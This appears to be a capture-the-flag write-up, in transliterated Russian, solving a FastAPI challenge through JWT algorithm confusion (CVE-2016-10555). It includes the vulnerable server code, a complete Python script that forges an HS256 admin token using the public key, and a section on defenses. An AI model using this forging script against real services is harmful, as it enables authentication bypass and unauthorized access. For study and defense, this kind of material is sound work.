Moment s JWT (JWT Moment)
Moment s JWT (JWT Moment)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: NA
Summary
Task: bypass JWT authentication on a FastAPI application to gain admin access. Solution: exploit JWT algorithm confusion (CVE-2016-10555) by switching from RS256 to HS256 and signing with the public key, which the server uses as the HMAC secret.
Moment s JWT (JWT Moment) — hackerlab
Opisanie
JWT task dlya nastoyashchikh Performance Artists
URL: http://62.173.140.174:16005
Analiz
1. Razvedka
Glavnaya stranitsa (/) vozvrashchayet ishodnyy kod prilozheniya na FastAPI:
python read-only • copy allowedfrom fastapi import FastAPI import jwt # PyJWT 1.5.0 (vulnerable version!) app = FastAPI() flag = "CODEBY{...}" # Klyuchi private_key = open("private.pem").read() public_key = open("public.pem").read() secret = public_key.strip() # <-- Klyuchevaya uyazvimost'! @app.get("/") def index(): return open(__file__).read() @app.get("/get-pub") def get_pub(): return public_key @app.get("/get-jwt") def get_jwt(): # Generatsiya s RS256 (asimmetrichnyy) token = jwt.encode( {"name": "guest", "isAdmin": False}, private_key, algorithm="RS256" ) return {"token": token} @app.get("/check-jwt/{token}") def check_jwt(token: str): try: # Proverka prinimayet OBA algoritma! data = jwt.decode(token, secret, algorithms=["HS256", "RS256"]) if data.get("name") and data.get("isAdmin") == True: return {"msg": f"Privet, admin! Derzhi flag: {flag}"} return {"msg": "Not admin"} except Exception as e: return {"error": str(e)}
2. Uyazvimost': JWT Algorithm Confusion (CVE-2016-10555)
Problema v kode:
- Generatsiya tokena: Ispol'zuyetsya RS256 (asimmetrichnyy) — privatnyy klyuch podpisyvayet, publichnyy proveryayet
- Proverka tokena:
algorithms=["HS256", "RS256"]— prinimayet OBA algoritma! - Sekret dlya proverki:
secret = public_key.strip()— publichnyy klyuch
Ataka:
RS256 (asimmetrichnyy):
- Privatnyy klyuch podpisyvayet
- Publichnyy klyuch proveryayet
HS256 (simmetrichnyy):
- Odin i tot zhe klyuch podpisyvayet I proveryayet
Yesli server prinimayet oba algoritma i ispol'zuyet publichnyy klyuch kak secret:
- Atakuyushchiy poluchayet publichnyy klyuch cherez
/get-pub - Sozdayot JWT s
alg: HS256i podpisyvayet HMAC-SHA256 s publichnym klyuchom kak sekretom - Server proveryayet podpis' s tem zhe publichnym klyuchom — podpis' validna!
3. Pochemu eto rabotayet
Legitimnyy token (RS256):
Header: {"alg": "RS256", "typ": "JWT"}
Signature = RSA_Sign(private_key, header.payload)
Verification = RSA_Verify(public_key, signature) ✓
Vredonosnyy token (HS256):
Header: {"alg": "HS256", "typ": "JWT"}
Signature = HMAC_SHA256(public_key, header.payload)
Verification = HMAC_SHA256(public_key, header.payload) ✓
Server ispol'zuyet public_key dlya proverki v oboikh sluchayakh!
Resheniye
Shag 1: Polucheniye publichnogo klyucha
bash read-only • copy allowedcurl http://62.173.140.174:16005/get-pub
Sokhranit' v pub.pem.
Shag 2: Sozdaniye vredonosnogo JWT
python read-only • copy allowed#!/usr/bin/env python3 import base64 import hmac import hashlib import json import requests BASE_URL = "http://62.173.140.174:16005" def b64url_encode(data): """Base64 URL-safe encoding bez padding""" if isinstance(data, str): data = data.encode() return base64.urlsafe_b64encode(data).rstrip(b'=').decode() # Polucheniye publichnogo klyucha response = requests.get(f"{BASE_URL}/get-pub") pub_key = response.text.strip() # Vazhno: .strip() kak v servere! # JWT Header — menyayem algoritm na HS256 header = {"alg": "HS256", "typ": "JWT"} # JWT Payload — admin privileges payload = {"name": "hacker", "isAdmin": True} # Kodirovaniye header_b64 = b64url_encode(json.dumps(header, separators=(',', ':'))) payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':'))) message = f"{header_b64}.{payload_b64}".encode() # Podpis' HMAC-SHA256 s publichnym klyuchom kak sekretom signature = hmac.new( pub_key.encode(), # Publichnyy klyuch kak HMAC sekret message, hashlib.sha256 ).digest() signature_b64 = b64url_encode(signature) # Final'nyy token malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}" print(f"Malicious JWT: {malicious_jwt}") # Otpravka response = requests.get(f"{BASE_URL}/check-jwt/{malicious_jwt}") print(response.json())
Shag 3: Polucheniye flaga
bash read-only • copy allowedpython3 exploit.py # {'msg': 'Privet, admin! Derzhi flag: CODEBY{REDACTED}'}
Klyuchevyye indikatory
Etu tekhniku ispol'zovat' kogda:
- Server prinimayet neskol'ko JWT algoritmov (
algorithms=["HS256", "RS256"]) - Publichnyy klyuch dostupen (endpoint
/get-pub,.well-known/jwks.json, sertifikat) - Ispol'zuyetsya staraya versiya PyJWT (< 2.0) ili drugaya uyazvimaya biblioteka
- Sekret dlya verifikatsii — eto publichnyy klyuch
Tekhniki
| Tekhnika | Opisaniye |
|---|---|
| Algorithm Confusion | Smena RS256 na HS256 v zagolovke tokena |
| Public Key as HMAC Secret | Ispol'zovaniye publichnogo klyucha dlya HMAC podpisi |
| CVE-2016-10555 | Uyazvimost' v PyJWT i drugikh bibliotekakh |
| Token Forgery | Sozdaniye validnogo tokena bez privatnogo klyucha |
Vazhnyye detali
Pochemu nuzhno .strip() publichnyy klyuch
Server ispol'zuyet secret = public_key.strip(). Yesli ne udalit' trailing newline, podpis' budet neverna:
python read-only • copy allowed# Nepravil'no pub_key = open("pub.pem").read() # Mozhet soderzhat' \n v kontse # Pravil'no pub_key = open("pub.pem").read().strip()
Pochemu nel'zya ispol'zovat' PyJWT >= 2.0
Sovremennyye versii PyJWT blokiruyut etu ataku:
- Trebuyut yavnogo ukazaniya tipa klyucha
- Proveryayut sootvetstviye algoritma i klyucha
- Otklonyayut asimmetrichnyye klyuchi dlya HS256
Poetomu nuzhno vruchnuyu sozdavat' JWT cherez hmac modul'.
Zashchita
Dlya predotvrashcheniya podobnykh atak:
- Ukazhite tol'ko odin algoritm —
algorithms=["RS256"] - Obnovite biblioteki — PyJWT >= 2.0 zashchishchen
- Ispol'zuyte raznyye klyuchi — ne publichnyy klyuch kak HMAC sekret
- Validiruite tip klyucha — RSA klyuch tol'ko dlya RS256
python read-only • copy allowed# Bezopasnyy kod data = jwt.decode( token, public_key, algorithms=["RS256"], # Tol'ko odin algoritm! options={"require": ["exp", "iat"]} )
Ssylki
- CVE-2016-10555 - PyJWT Algorithm Confusion
- Auth0: Critical Vulnerabilities in JWT Libraries
- PortSwigger: JWT Algorithm Confusion
- RFC 7518 - JSON Web Algorithms